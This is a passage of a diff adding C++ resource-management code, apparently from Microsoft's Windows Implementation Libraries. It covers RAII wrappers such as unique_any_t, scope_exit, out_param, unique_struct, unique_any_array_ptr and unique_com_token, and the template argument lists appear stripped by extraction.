HWAFFLE* handle); + //! wil::unique_any waffle; + //! RETURN_IF_WIN32_BOOL_FALSE(OpenOrCreateWaffle(L"tasty.yum", waffle.put())); + //! ~~~~ + pointer_storage *put() WI_NOEXCEPT + { + static_assert(wistd::is_same::value, "operator & is not available for this handle"); + storage_t::reset(); + return storage_t::addressof(); + } + + pointer_storage *operator&() WI_NOEXCEPT + { + return put(); + } + + pointer get() const WI_NOEXCEPT + { + static_assert(!wistd::is_same::value, "get(): the raw handle value is not available for this resource class"); + return storage_t::get(); + } + + // The following functions are publicly exposed by their inclusion in the unique_storage base class + + // explicit unique_any_t(pointer_storage ptr) WI_NOEXCEPT + // void reset(pointer_storage ptr = policy::invalid_value()) WI_NOEXCEPT + // void reset(wistd::nullptr_t) WI_NOEXCEPT + // pointer_storage release() WI_NOEXCEPT // not exposed for some resource types + // pointer_storage *addressof() WI_NOEXCEPT // not exposed for some resource types + }; + + template + void swap(unique_any_t& left, unique_any_t& right) WI_NOEXCEPT + { + left.swap(right); + } + + template + bool operator==(const unique_any_t& left, const unique_any_t& right) WI_NOEXCEPT + { + return (left.get() == right.get()); + } + + template + bool operator==(const unique_any_t& left, wistd::nullptr_t) WI_NOEXCEPT + { + static_assert(wistd::is_same::policy::pointer_invalid, wistd::nullptr_t>::value, "the resource class does not use nullptr as an invalid value"); + return !left; + } + + template + bool operator==(wistd::nullptr_t, const unique_any_t& right) WI_NOEXCEPT + { + static_assert(wistd::is_same::policy::pointer_invalid, wistd::nullptr_t>::value, "the resource class does not use nullptr as an invalid value"); + return !right; + } + + template + bool operator!=(const unique_any_t& left, const unique_any_t& right) WI_NOEXCEPT + { + return (!(left.get() == right.get())); + } + + template + bool operator!=(const unique_any_t& left, wistd::nullptr_t) WI_NOEXCEPT + { + static_assert(wistd::is_same::policy::pointer_invalid, wistd::nullptr_t>::value, "the resource class does not use nullptr as an invalid value"); + return !!left; + } + + template + bool operator!=(wistd::nullptr_t, const unique_any_t& right) WI_NOEXCEPT + { + static_assert(wistd::is_same::policy::pointer_invalid, wistd::nullptr_t>::value, "the resource class does not use nullptr as an invalid value"); + return !!right; + } + + template + bool operator<(const unique_any_t& left, const unique_any_t& right) WI_NOEXCEPT + { + return (left.get() < right.get()); + } + + template + bool operator>=(const unique_any_t& left, const unique_any_t& right) WI_NOEXCEPT + { + return (!(left < right)); + } + + template + bool operator>(const unique_any_t& left, const unique_any_t& right) WI_NOEXCEPT + { + return (right < left); + } + + template + bool operator<=(const unique_any_t& left, const unique_any_t& right) WI_NOEXCEPT + { + return (!(right < left)); + } + + // unique_any provides a template alias for easily building a unique_any_t from a unique_storage class with the given + // template parameters for resource_policy. + + template // nullptr_t if the invalid handle value is compatible with nullptr, otherwise pointer + using unique_any = unique_any_t>>; + + /// @cond + namespace details + { + template + class lambda_call + { + public: + lambda_call(const lambda_call&) = delete; + lambda_call& operator=(const lambda_call&) = delete; + lambda_call& operator=(lambda_call&& other) = delete; + + explicit lambda_call(TLambda&& lambda) WI_NOEXCEPT : m_lambda(wistd::move(lambda)) + { + static_assert(wistd::is_same::value, "scope_exit lambdas must not have a return value"); + static_assert(!wistd::is_lvalue_reference::value && !wistd::is_rvalue_reference::value, + "scope_exit should only be directly used with a lambda"); + } + + lambda_call(lambda_call&& other) WI_NOEXCEPT : m_lambda(wistd::move(other.m_lambda)), m_call(other.m_call) + { + other.m_call = false; + } + + ~lambda_call() WI_NOEXCEPT + { + reset(); + } + + // Ensures the scope_exit lambda will not be called + void release() WI_NOEXCEPT + { + m_call = false; + } + + // Executes the scope_exit lambda immediately if not yet run; ensures it will not run again + void reset() WI_NOEXCEPT + { + if (m_call) + { + m_call = false; + m_lambda(); + } + } + + // Returns true if the scope_exit lambda is still going to be executed + explicit operator bool() const WI_NOEXCEPT + { + return m_call; + } + + protected: + TLambda m_lambda; + bool m_call = true; + }; + +#ifdef WIL_ENABLE_EXCEPTIONS + template + class lambda_call_log + { + public: + lambda_call_log(const lambda_call_log&) = delete; + lambda_call_log& operator=(const lambda_call_log&) = delete; + lambda_call_log& operator=(lambda_call_log&& other) = delete; + + explicit lambda_call_log(void* address, const DiagnosticsInfo& info, TLambda&& lambda) WI_NOEXCEPT : + m_address(address), m_info(info), m_lambda(wistd::move(lambda)) + { + static_assert(wistd::is_same::value, "scope_exit lambdas must return 'void'"); + static_assert(!wistd::is_lvalue_reference::value && !wistd::is_rvalue_reference::value, + "scope_exit should only be directly used with a lambda"); + } + + lambda_call_log(lambda_call_log&& other) WI_NOEXCEPT : + m_address(other.m_address), m_info(other.m_info), m_lambda(wistd::move(other.m_lambda)), m_call(other.m_call) + { + other.m_call = false; + } + + ~lambda_call_log() WI_NOEXCEPT + { + reset(); + } + + // Ensures the scope_exit lambda will not be called + void release() WI_NOEXCEPT + { + m_call = false; + } + + // Executes the scope_exit lambda immediately if not yet run; ensures it will not run again + void reset() WI_NOEXCEPT + { + if (m_call) + { + m_call = false; + try + { + m_lambda(); + } + catch (...) + { + ReportFailure_CaughtException(__R_DIAGNOSTICS(m_info), m_address); + } + } + } + + // Returns true if the scope_exit lambda is still going to be executed + explicit operator bool() const WI_NOEXCEPT + { + return m_call; + } + + private: + void* m_address; + DiagnosticsInfo m_info; + TLambda m_lambda; + bool m_call = true; + }; +#endif // WIL_ENABLE_EXCEPTIONS + } + /// @endcond + + /** Returns an object that executes the given lambda when destroyed. + Capture the object with 'auto'; use reset() to execute the lambda early or release() to avoid + execution. Exceptions thrown in the lambda will fail-fast; use scope_exit_log to avoid. */ + template + WI_NODISCARD inline auto scope_exit(TLambda&& lambda) WI_NOEXCEPT + { + return details::lambda_call(wistd::forward(lambda)); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + /** Returns an object that executes the given lambda when destroyed; logs exceptions. + Capture the object with 'auto'; use reset() to execute the lambda early or release() to avoid + execution. Exceptions thrown in the lambda will be caught and logged without being propagated. */ + template + WI_NODISCARD inline __declspec(noinline) auto scope_exit_log(const DiagnosticsInfo& diagnostics, TLambda&& lambda) WI_NOEXCEPT + { + return details::lambda_call_log(_ReturnAddress(), diagnostics, wistd::forward(lambda)); + } +#endif + + // Forward declaration... + template + class com_ptr_t; + + //! Type traits class that identifies the inner type of any smart pointer. + template + struct smart_pointer_details + { + typedef typename Ptr::pointer pointer; + }; + + /// @cond + template + struct smart_pointer_details> + { + typedef T* pointer; + }; + /// @endcond + + /** Generically detaches a raw pointer from any smart pointer. + Caller takes ownership of the returned raw pointer; calls the correct release(), detach(), + or Detach() method based on the smart pointer type */ + template + WI_NODISCARD typename TSmartPointer::pointer detach_from_smart_pointer(TSmartPointer& smartPtr) + { + return smartPtr.release(); + } + + /// @cond + // Generically detaches a raw pointer from any smart pointer + template + WI_NODISCARD T* detach_from_smart_pointer(wil::com_ptr_t& smartPtr) + { + return smartPtr.detach(); + } + + // Generically detaches a raw pointer from any smart pointer + template + WI_NODISCARD T* detach_from_smart_pointer(Microsoft::WRL::ComPtr& smartPtr) + { + return smartPtr.Detach(); + } + + template class com_ptr_t; // forward + namespace details + { + // The first two attach_to_smart_pointer() overloads are ambiguous when passed a com_ptr_t. + // To solve that use this functions return type to elminate the reset form for com_ptr_t. + template wistd::false_type use_reset(wil::com_ptr_t*) { return wistd::false_type(); } + template wistd::true_type use_reset(T*) { return wistd::true_type(); } + } + /// @endcond + + /** Generically attach a raw pointer to a compatible smart pointer. + Calls the correct reset(), attach(), or Attach() method based on samrt pointer type. */ + template (nullptr)))::value>> + void attach_to_smart_pointer(TSmartPointer& smartPtr, typename TSmartPointer::pointer rawPtr) + { + smartPtr.reset(rawPtr); + } + + /// @cond + + // Generically attach a raw pointer to a compatible smart pointer. + template + void attach_to_smart_pointer(wil::com_ptr_t& smartPtr, T* rawPtr) + { + smartPtr.attach(rawPtr); + } + + // Generically attach a raw pointer to a compatible smart pointer. + template + void attach_to_smart_pointer(Microsoft::WRL::ComPtr& smartPtr, T* rawPtr) + { + smartPtr.Attach(rawPtr); + } + /// @endcond + + //! @ingroup outparam + /** Detach a smart pointer resource to an optional output pointer parameter. + Avoids cluttering code with nullptr tests; works generically for any smart pointer */ + template + inline void detach_to_opt_param(_Out_opt_ T* outParam, TSmartPointer&& smartPtr) + { + if (outParam) + { + *outParam = detach_from_smart_pointer(smartPtr); + } + } + + /// @cond + namespace details + { + template + struct out_param_t + { + typedef typename wil::smart_pointer_details::pointer pointer; + T &wrapper; + pointer pRaw; + bool replace = true; + + out_param_t(_Inout_ T &output) : + wrapper(output), + pRaw(nullptr) + { + } + + out_param_t(out_param_t&& other) : + wrapper(other.wrapper), + pRaw(other.pRaw) + { + WI_ASSERT(other.replace); + other.replace = false; + } + + operator pointer*() + { + WI_ASSERT(replace); + return &pRaw; + } + + ~out_param_t() + { + if (replace) + { + attach_to_smart_pointer(wrapper, pRaw); + } + } + + out_param_t(out_param_t const &other) = delete; + out_param_t &operator=(out_param_t const &other) = delete; + }; + + template + struct out_param_ptr_t + { + typedef typename wil::smart_pointer_details::pointer pointer; + T &wrapper; + pointer pRaw; + bool replace = true; + + out_param_ptr_t(_Inout_ T &output) : + wrapper(output), + pRaw(nullptr) + { + } + + out_param_ptr_t(out_param_ptr_t&& other) : + wrapper(other.wrapper), + pRaw(other.pRaw) + { + WI_ASSERT(other.replace); + other.replace = false; + } + + operator Tcast() + { + WI_ASSERT(replace); + return reinterpret_cast(&pRaw); + } + + ~out_param_ptr_t() + { + if (replace) + { + attach_to_smart_pointer(wrapper, pRaw); + } + } + + out_param_ptr_t(out_param_ptr_t const &other) = delete; + out_param_ptr_t &operator=(out_param_ptr_t const &other) = delete; + }; + } // details + /// @endcond + + /** Use to retrieve raw out parameter pointers into smart pointers that do not support the '&' operator. + This avoids multi-step handling of a raw resource to establish the smart pointer. + Example: `GetFoo(out_param(foo));` */ + template + details::out_param_t out_param(T& p) + { + return details::out_param_t(p); + } + + /** Use to retrieve raw out parameter pointers (with a required cast) into smart pointers that do not support the '&' operator. + Use only when the smart pointer's &handle is not equal to the output type a function requries, necessitating a cast. + Example: `wil::out_param_ptr(securityDescriptor)` */ + template + details::out_param_ptr_t out_param_ptr(T& p) + { + return details::out_param_ptr_t(p); + } + + /** Use unique_struct to define an RAII type for a trivial struct that references resources that must be cleaned up. + Unique_struct wraps a trivial struct using a custom clean up function and, optionally, custom initializer function. If no custom initialier function is defined in the template + then ZeroMemory is used. + Unique_struct is modeled off of std::unique_ptr. However, unique_struct inherits from the defined type instead of managing the struct through a private member variable. + + If the type you're wrapping is a system type, you can share the code by declaring it in this file (Resource.h). Send requests to wildisc. + Otherwise, if the type is local to your project, declare it locally. + @tparam struct_t The struct you want to manage + @tparam close_fn_t The type of the function to clean up the struct. Takes one parameter: a pointer of struct_t. Return values are ignored. + @tparam close_fn The function of type close_fn_t. This is called in the destructor and reset functions. + @tparam init_fn_t Optional:The type of the function to initialize the struct. Takes one parameter: a pointer of struct_t. Return values are ignored. + @tparam init_fn Optional:The function of type init_fn_t. This is called in the constructor, reset, and release functions. The default is ZeroMemory to initialize the struct. + + Defined using the default zero memory initializer + ~~~ + typedef wil::unique_struct unique_prop_variant_default_init; + + unique_prop_variant propvariant; + SomeFunction(&propvariant); + ~~~ + + Defined using a custom initializer + ~~~ + typedef wil::unique_struct unique_prop_variant; + + unique_prop_variant propvariant; + SomeFunction(&propvariant); + ~~~ + */ + template + class unique_struct : public struct_t + { + public: + //! Initializes the managed struct using the user-provided initialization function, or ZeroMemory if no function is specified + unique_struct() + { + call_init(use_default_init_fn()); + } + + //! Takes ownership of the struct by doing a shallow copy. Must explicitly be type struct_t + explicit unique_struct(const struct_t& other) WI_NOEXCEPT : + struct_t(other) + {} + + //! Initializes the managed struct by taking the ownership of the other managed struct + //! Then resets the other managed struct by calling the custom close function + unique_struct(unique_struct&& other) WI_NOEXCEPT : + struct_t(other.release()) + {} + + //! Resets this managed struct by calling the custom close function and takes ownership of the other managed struct + //! Then resets the other managed struct by calling the custom close function + unique_struct & operator=(unique_struct&& other) WI_NOEXCEPT + { + if (this != wistd::addressof(other)) + { + reset(other.release()); + } + return *this; + } + + //! Calls the custom close function + ~unique_struct() WI_NOEXCEPT + { + wistd::invoke(close_fn, this); + } + + void reset(const unique_struct&) = delete; + + //! Resets this managed struct by calling the custom close function and begins management of the other struct + void reset(const struct_t& other) WI_NOEXCEPT + { + { + auto preserveError = last_error_context(); + wistd::invoke(close_fn, this); + } + struct_t::operator=(other); + } + + //! Resets this managed struct by calling the custom close function + //! Then initializes this managed struct using the user-provided initialization function, or ZeroMemory if no function is specified + void reset() WI_NOEXCEPT + { + wistd::invoke(close_fn, this); + call_init(use_default_init_fn()); + } + + void swap(struct_t&) = delete; + + //! Swaps the managed structs + void swap(unique_struct& other) WI_NOEXCEPT + { + struct_t self(*this); + struct_t::operator=(other); + *(other.addressof()) = self; + } + + //! Returns the managed struct + //! Then initializes this managed struct using the user-provided initialization function, or ZeroMemory if no function is specified + struct_t release() WI_NOEXCEPT + { + struct_t value(*this); + call_init(use_default_init_fn()); + return value; + } + + //! Returns address of the managed struct + struct_t * addressof() WI_NOEXCEPT + { + return this; + } + + //! Resets this managed struct by calling the custom close function + //! Then initializes this managed struct using the user-provided initialization function, or ZeroMemory if no function is specified + //! Returns address of the managed struct + struct_t * reset_and_addressof() WI_NOEXCEPT + { + reset(); + return this; + } + + unique_struct(const unique_struct&) = delete; + unique_struct& operator=(const unique_struct&) = delete; + unique_struct& operator=(const struct_t&) = delete; + + private: + typedef typename wistd::is_same::type use_default_init_fn; + + void call_init(wistd::true_type) + { + RtlZeroMemory(this, sizeof(*this)); + } + + void call_init(wistd::false_type) + { + init_fn(this); + } + }; + + struct empty_deleter + { + template + void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T) const + { + } + }; + + /** unique_any_array_ptr is a RAII type for managing conformant arrays that need to be freed and have elements that may need to be freed. + The intented use for this RAII type would be to capture out params from API like IPropertyValue::GetStringArray. + This class also maintains the size of the array, so it can iterate over the members and deallocate them before it deallocates the base array pointer. + + If the type you're wrapping is a system type, you can share the code by declaring it in this file (Resource.h). Send requests to wildisc. + Otherwise, if the type is local to your project, declare it locally. + + @tparam ValueType: The type of array you want to manage. + @tparam ArrayDeleter: The type of the function to clean up the array. Takes one parameter of type T[] or T*. Return values are ignored. This is called in the destructor and reset functions. + @tparam ElementDeleter: The type of the function to clean up the array elements. Takes one parameter of type T. Return values are ignored. This is called in the destructor and reset functions. + + ~~~ + void GetSomeArray(_Out_ size_t*, _Out_ NOTMYTYPE**); + + struct not_my_deleter + { + void operator()(NOTMYTYPE p) const + { + destroy(p); + } + }; + + wil::unique_any_array_ptr myArray; + GetSomeArray(myArray.size_address(), &myArray); + ~~~ */ + template + class unique_any_array_ptr + { + public: + typedef ValueType value_type; + typedef size_t size_type; + typedef ptrdiff_t difference_type; + typedef ValueType *pointer; + typedef const ValueType *const_pointer; + typedef ValueType& reference; + typedef const ValueType& const_reference; + + typedef ValueType* iterator; + typedef const ValueType* const_iterator; + + unique_any_array_ptr() = default; + unique_any_array_ptr(const unique_any_array_ptr&) = delete; + unique_any_array_ptr& operator=(const unique_any_array_ptr&) = delete; + + unique_any_array_ptr(wistd::nullptr_t) WI_NOEXCEPT + { + } + + unique_any_array_ptr& operator=(wistd::nullptr_t) WI_NOEXCEPT + { + reset(); + return *this; + } + + unique_any_array_ptr(pointer ptr, size_t size) WI_NOEXCEPT : m_ptr(ptr), m_size(size) + { + } + + unique_any_array_ptr(unique_any_array_ptr&& other) WI_NOEXCEPT : m_ptr(other.m_ptr), m_size(other.m_size) + { + other.m_ptr = nullptr; + other.m_size = size_type{}; + } + + unique_any_array_ptr& operator=(unique_any_array_ptr&& other) WI_NOEXCEPT + { + if (this != wistd::addressof(other)) + { + reset(); + swap(other); + } + return *this; + } + + ~unique_any_array_ptr() WI_NOEXCEPT + { + reset(); + } + + void swap(unique_any_array_ptr& other) WI_NOEXCEPT + { + auto ptr = m_ptr; + auto size = m_size; + m_ptr = other.m_ptr; + m_size = other.m_size; + other.m_ptr = ptr; + other.m_size = size; + } + + iterator begin() WI_NOEXCEPT + { + return (iterator(m_ptr)); + } + + const_iterator begin() const WI_NOEXCEPT + { + return (const_iterator(m_ptr)); + } + + iterator end() WI_NOEXCEPT + { + return (iterator(m_ptr + m_size)); + } + + const_iterator end() const WI_NOEXCEPT + { + return (const_iterator(m_ptr + m_size)); + } + + const_iterator cbegin() const WI_NOEXCEPT + { + return (begin()); + } + + const_iterator cend() const WI_NOEXCEPT + { + return (end()); + } + + size_type size() const WI_NOEXCEPT + { + return (m_size); + } + + bool empty() const WI_NOEXCEPT + { + return (size() == size_type{}); + } + + reference operator[](size_type position) + { + WI_ASSERT(position < m_size); + _Analysis_assume_(position < m_size); + return (m_ptr[position]); + } + + const_reference operator[](size_type position) const + { + WI_ASSERT(position < m_size); + _Analysis_assume_(position < m_size); + return (m_ptr[position]); + } + + reference front() + { + WI_ASSERT(!empty()); + return (m_ptr[0]); + } + + const_reference front() const + { + WI_ASSERT(!empty()); + return (m_ptr[0]); + } + + reference back() + { + WI_ASSERT(!empty()); + return (m_ptr[m_size - 1]); + } + + const_reference back() const + { + WI_ASSERT(!empty()); + return (m_ptr[m_size - 1]); + } + + ValueType* data() WI_NOEXCEPT + { + return (m_ptr); + } + + const ValueType* data() const WI_NOEXCEPT + { + return (m_ptr); + } + + pointer get() const WI_NOEXCEPT + { + return m_ptr; + } + + explicit operator bool() const WI_NOEXCEPT + { + return (m_ptr != pointer()); + } + + pointer release() WI_NOEXCEPT + { + auto result = m_ptr; + m_ptr = nullptr; + m_size = size_type{}; + return result; + } + + void reset() WI_NOEXCEPT + { + if (m_ptr) + { + reset_array(ElementDeleter()); + ArrayDeleter()(m_ptr); + m_ptr = nullptr; + m_size = size_type{}; + } + } + + void reset(pointer ptr, size_t size) WI_NOEXCEPT + { + reset(); + m_ptr = ptr; + m_size = size; + } + + pointer* addressof() WI_NOEXCEPT + { + return &m_ptr; + } + + pointer* put() WI_NOEXCEPT + { + reset(); + return addressof(); + } + + pointer* operator&() WI_NOEXCEPT + { + return put(); + } + + size_type* size_address() WI_NOEXCEPT + { + return &m_size; + } + + template + struct size_address_ptr + { + unique_any_array_ptr& wrapper; + TSize size{}; + bool replace = true; + + size_address_ptr(_Inout_ unique_any_array_ptr& output) : + wrapper(output) + { + } + + size_address_ptr(size_address_ptr&& other) : + wrapper(other.wrapper), + size(other.size) + { + WI_ASSERT(other.replace); + other.replace = false; + } + + operator TSize*() + { + WI_ASSERT(replace); + return &size; + } + + ~size_address_ptr() + { + if (replace) + { + *wrapper.size_address() = static_cast(size); + } + } + + size_address_ptr(size_address_ptr const &other) = delete; + size_address_ptr &operator=(size_address_ptr const &other) = delete; + }; + + template + size_address_ptr size_address() WI_NOEXCEPT + { + return size_address_ptr(*this); + } + + private: + pointer m_ptr = nullptr; + size_type m_size{}; + + void reset_array(const empty_deleter&) + { + } + + template + void reset_array(const T& deleter) + { + for (auto& element : make_range(m_ptr, m_size)) + { + deleter(element); + } + } + }; + + // forward declaration + template + class com_ptr_t; + + /// @cond + namespace details + { + template + struct unique_any_array_deleter + { + template + void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T* p) const + { + UniqueAnyType::policy::close_reset(p); + } + }; + + template + struct unique_struct_array_deleter + { + template + void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T& p) const + { + wistd::invoke(close_fn, &p); + } + }; + + struct com_unknown_deleter + { + template + void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T* p) const + { + if (p) + { + p->Release(); + } + } + }; + + template + struct element_traits + { + typedef empty_deleter deleter; + typedef T type; + }; + + template + struct element_traits> + { + typedef unique_any_array_deleter> deleter; + typedef typename unique_any_t::pointer type; + }; + + template + struct element_traits> + { + typedef com_unknown_deleter deleter; + typedef T* type; + }; + + template + struct element_traits> + { + typedef unique_struct_array_deleter deleter; + typedef struct_t type; + }; + } + /// @endcond + + template + using unique_array_ptr = unique_any_array_ptr::type, ArrayDeleter, typename details::element_traits::deleter>; + + /** Adapter for single-parameter 'free memory' for `wistd::unique_ptr`. + This struct provides a standard wrapper for calling a platform function to deallocate memory held by a + `wistd::unique_ptr`, making declaring them as easy as declaring wil::unique_any<>. + + Consider this adapter in preference to `wil::unique_any<>` when the returned type is really a pointer or an + array of items; `wistd::unique_ptr<>` exposes `operator->()` and `operator[]` for array-typed things safely. + ~~~~ + EXTERN_C VOID WINAPI MyDllFreeMemory(void* p); + EXTERN_C HRESULT MyDllGetString(_Outptr_ PWSTR* pString); + EXTERN_C HRESULT MyDllGetThing(_In_ PCWSTR pString, _Outptr_ PMYSTRUCT* ppThing); + template + using unique_mydll_ptr = wistd::unique_ptr>; + HRESULT Test() + { + unique_mydll_ptr dllString; + unique_mydll_ptr thing; + RETURN_IF_FAILED(MyDllGetString(wil::out_param(dllString))); + RETURN_IF_FAILED(MyDllGetThing(dllString.get(), wil::out_param(thing))); + if (thing->Member) + { + // ... + } + return S_OK; + } + ~~~~ */ + template struct function_deleter + { + template void operator()(_Frees_ptr_opt_ T* toFree) const + { + TDeleter(toFree); + } + }; + + /** Use unique_com_token to define an RAII type for a token-based resource that is managed by a COM interface. + By comparison, unique_any_t has the requirement that the close function must be static. This works for functions + such as CloseHandle(), but for any resource cleanup function that relies on a more complex interface, + unique_com_token can be used. + + @tparam interface_t A COM interface pointer that will manage this resource type. + @tparam token_t The token type that relates to the COM interface management functions. + @tparam close_fn_t The type of the function that is called when the resource is destroyed. + @tparam close_fn The function used to destroy the associated resource. This function should have the signature void(interface_t* source, token_t token). + @tparam invalid_token Optional:An invalid token value. Defaults to default-constructed token_t(). + + Example + ~~~ + void __stdcall MyInterfaceCloseFunction(IMyInterface* source, DWORD token) + { + source->MyCloseFunction(token); + } + using unique_my_interface_token = wil::unique_com_token; + ~~~ */ + template + class unique_com_token + { + public: + unique_com_token() = default; + + unique_com_token(_In_opt_ interface_t* source, token_t token = invalid_token) WI_NOEXCEPT + { + reset(source, token); + } + + unique_com_token(unique_com_token&& other) WI_NOEXCEPT : m_source(other.m_source), m_token(other.m_token) + { + other.m_source = nullptr; + other.m_token = invalid_token; + } + + unique_com_token& operator=(unique_com_token&& other) WI_NOEXCEPT + { + if (this != wistd::addressof(other)) + { + reset(); + m_source = other.m_source; + m_token = other.m_token; + + other.m_source = nullptr; + other.m_token = invalid_token; + } + return *this; + } + + ~unique_com_token() WI_NOEXCEPT + { + reset(); + } + + //! Determine if the underlying source and token are valid + explicit operator bool() const WI_NOEXCEPT + { + return (m_token != invalid_token) && m_source; + } + + //! Associates a new source and releases the existing token if valid + void associate(_In_opt_ interface_t* source) WI_NOEXCEPT + { + reset(source, invalid_token); + } + + //! Assigns a new source and token + void reset(_In_opt_ interface_t* source, token_t token) WI_NOEXCEPT + { + WI_ASSERT(source || (token == invalid_token)); + + // Determine if we need to call the close function on our previous token. + if (m_token != invalid_token) + { + if ((m_source != source) || (m_token != token)) + { + wistd::invoke(close_fn, m_source, m_token); + } + } + + m_token = token; + + // Assign our new source and manage the reference counts + if (m_source != source) + { + auto oldSource = m_source; + m_source = source; + + if (m_source) + { + m_source->AddRef(); + } + + if (oldSource) + { + oldSource->Release(); + } + } + } + + //! Assigns a new token without modifying the source; associate must be called first + void reset(token_t token) WI_NOEXCEPT + { + reset(m_source, token); + } + + //! Closes the token and the releases the reference to the source + void reset() WI_NOEXCEPT + { + reset(nullptr, invalid_token); + } + + //! Exchanges values with another managed token + void swap(unique_com_token& other) WI_NOEXCEPT + { + wistd::swap_wil(m_source, other.m_source); + wistd::swap_wil(m_token, other.m_token); + } + + //! Releases the held token to the caller without closing it and releases the reference to the source. + //! Requires that the associated COM interface be kept alive externally or the released token may be invalidated + token_t release() WI_NOEXCEPT + { + auto token = m_token; + m_token = invalid_token; + reset(); + return token; + } + + //! Returns address of the managed token; associate must be called first + token_t* addressof() WI_NOEXCEPT + { + WI_ASSERT(m_source); + return &m_token; + } + + //! Releases the held token and allows attaching a new token; associate must be called first + token_t* put() WI_NOEXCEPT + { + reset(invalid_token); + return addressof(); + } + + //! Releases the held token and allows attaching a new token; associate must be called first + token_t* operator&() WI_NOEXCEPT + { + return put(); + } + + //! Retrieves the token + token_t get() const WI_NOEXCEPT + { + return m_token; + } + + unique_com_token(const unique_com_token&) = delete; + unique_com_token& operator=(const unique_com_token&) = delete; + + private: + interface_t* m_source = nullptr; + token_t m_token = invalid_token; + }; + + /** Use unique_com_call to define an RAII type that demands a particular parameter-less method be called on a COM interface. + This allows implementing an RAII type that can call a Close() method (think IClosable) or a SetSite(nullptr) + method (think IObjectWithSite) or some other method when a basic interface call is required as part of the RAII contract. + see wil::com_set_site in wil\com.h for the IObjectWithSite support. + + @tparam interface_t A COM interface pointer that provides context to make the call. + @tparam close_fn_t The type of the function that is called to invoke the method. + @tparam close_fn The function used to invoke the interface method. This function should have the signature void(interface_t* source). + + Example + ~~~ + void __stdcall CloseIClosable(IClosable* source) + { + source->Close(); + } + using unique_closable_call = wil::unique_com_call; + ~~~ */ + template + class unique_com_call + { + public: + unique_com_call() = default; + + explicit unique_com_call(_In_opt_ interface_t* ptr) WI_NOEXCEPT + { + reset(ptr); + } + + unique_com_call(unique_com_call&& other) WI_NOEXCEPT + { + m_ptr = other.m_ptr; + other.m_ptr = nullptr; + } + + unique_com_call& operator=(unique_com_call&& other) WI_NOEXCEPT + { + if (this != wistd::addressof(other)) + { + reset(); + m_ptr = other.m_ptr; + other.m_ptr = nullptr; + } + return *this; + } + + ~unique_com_call() WI_NOEXCEPT + { + reset(); + } + + //! Assigns an interface to make a given call on + void reset(_In_opt_ interface_t* ptr = nullptr) WI_NOEXCEPT + { + if (ptr != m_ptr) + { + auto oldSource = m_ptr; + m_ptr = ptr; + if (m_ptr) + { + m_ptr->AddRef(); + } + if (oldSource) + { + wistd::invoke(close_fn, oldSource); + oldSource->Release(); + } + } + } + + //! Exchanges values with another class + void swap(unique_com_call& other) WI_NOEXCEPT + { + wistd::swap_wil(m_ptr, other.m_ptr); + } + + //! Cancel the interface call that this class was expected to make + void release() WI_NOEXCEPT + { + auto ptr = m_ptr; + m_ptr = nullptr; + if (ptr) + { + ptr->Release(); + } + } + + //! Returns true if the call this class was expected to make is still outstanding + explicit operator bool() const WI_NOEXCEPT + { + return (m_ptr != nullptr); + } + + //! Returns address of the internal interface + interface_t** addressof() WI_NOEXCEPT + { + return &m_ptr; + } + + //! Releases the held interface (first performing the interface call if required) + //! and allows attaching a new interface + interface_t** put() WI_NOEXCEPT + { + reset(); + return addressof(); + } + + //! Releases the held interface (first performing the interface call if required) + //! and allows attaching a new interface + interface_t** operator&() WI_NOEXCEPT + { + return put(); + } + + unique_com_call(const unique_com_call&) = delete; + unique_com_call& operator=(const unique_com_call&) = delete; + + private: + interface_t* m_ptr = nullptr; + }; + + + /** Use unique_call to define an RAII type that demands a particular parameter-less global function be called. + This allows implementing a RAII types that can call methods like CoUninitialize. + + @tparam close_fn_t The type of the function that is called to invoke the call. + @tparam close_fn The function used to invoke the call. This function should have the signature void(). + @tparam default_value Determines whether the unique_call is active or inactive when default-constructed or reset. + + Example + ~~~ + void __stdcall CoUninitializeFunction() + { + ::CoUninitialize(); + } + using unique_couninitialize_call = wil::unique_call; + ~~~ */ + template + class unique_call + { + public: + unique_call() = default; + + explicit unique_call(bool call) WI_NOEXCEPT : m_call(call) + { + } + + unique_call(unique_call&& other) WI_NOEXCEPT + { + m_call = other.m_call; + other.m_call = false; + } + + unique_call& operator=(unique_call&& other) WI_NOEXCEPT + { + if (this != wistd::addressof(other)) + { + reset(); + m_call = other.m_call; + other.m_call = false; + } + return *this; + } + + ~unique_call() WI_NOEXCEPT + { + reset(); + } + + //! Assigns a new ptr and token + void reset() WI_NOEXCEPT + { + auto call = m_call; + m_call = false; + if (call) + { + wistd::invoke(close_fn); + } + } + + //! Exchanges values with raii class + void swap(unique_call& other) WI_NOEXCEPT + { + wistd::swap_wil(m_call, other.m_call); + } + + //! Make the interface call that was expected of this class + void activate() WI_NOEXCEPT + { + m_call = true; + } + + //! Do not make the interface call that was expected of this class + void release() WI_NOEXCEPT + { + m_call = false; + } + + //! Returns true if the call that was expected is still outstanding + explicit operator bool() const WI_NOEXCEPT + { + return m_call; + } + + unique_call(const unique_call&) = delete; + unique_call& operator=(const unique_call&) = delete; + + private: + bool m_call = default_value; + }; + + // str_raw_ptr is an overloaded function that retrieves a const pointer to the first character in a string's buffer. + // Overloads in this file support any string that is implicitly convertible to a PCWSTR, HSTRING, and any unique_any_t + // that points to any other supported type (this covers unique_hstring, unique_cotaskmem_string, and similar). + // An overload for std::wstring is available in stl.h. + inline PCWSTR str_raw_ptr(PCWSTR str) + { + return str; + } + + template + PCWSTR str_raw_ptr(const unique_any_t& ua) + { + return str_raw_ptr(ua.get()); + } + + namespace details + { + // Forward declaration + template struct string_maker; + + // Concatenate any number of strings together and store it in an automatically allocated string. If a string is present + // in the input buffer, it is overwritten. + template + HRESULT str_build_nothrow(string_type& result, _In_reads_(strCount) PCWSTR* strList, size_t strCount) + { + size_t lengthRequiredWithoutNull{}; + for (auto& string : make_range(strList, strCount)) + { + lengthRequiredWithoutNull += string ? wcslen(string) : 0; + } + + details::string_maker maker; + RETURN_IF_FAILED(maker.make(nullptr, lengthRequiredWithoutNull)); + + auto buffer = maker.buffer(); + auto bufferEnd = buffer + lengthRequiredWithoutNull + 1; + for (auto& string : make_range(strList, strCount)) + { + if (string) + { + RETURN_IF_FAILED(StringCchCopyExW(buffer, (bufferEnd - buffer), string, &buffer, nullptr, STRSAFE_IGNORE_NULLS)); + } + } + + result = maker.release(); + return S_OK; + } + + // NOTE: 'Strings' must all be PCWSTR, or convertible to 